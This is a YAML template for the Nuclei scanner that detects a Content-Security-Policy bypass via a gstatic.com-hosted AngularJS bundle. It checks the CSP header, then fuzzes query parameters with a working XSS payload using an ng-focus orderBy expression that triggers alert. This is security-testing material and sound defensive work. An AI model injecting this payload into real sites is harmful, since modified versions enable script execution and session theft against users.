id: gstatic-angular-csp-bypass

info:
  name: Content-Security-Policy Bypass - GStatic Angular
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,gstatic-angular,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "gstatic.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: gstatic_angular_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - <body ng-app ng-csp><script src="//www.gstatic.com/fsn/angular_js-bundle1.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "gstatic_angular_csp_xss == true"
# digest: 490a004630440220541884f2502bc9ca1f3b1dbfa27c2924b871cff9709d4c16ee9a2dab8055a84c02201b28a42394842f9b543c0e72ce74811f3abe1f5b260a4d45ea36569b63d7f709:922c64590222798bb761d5b6d8e72950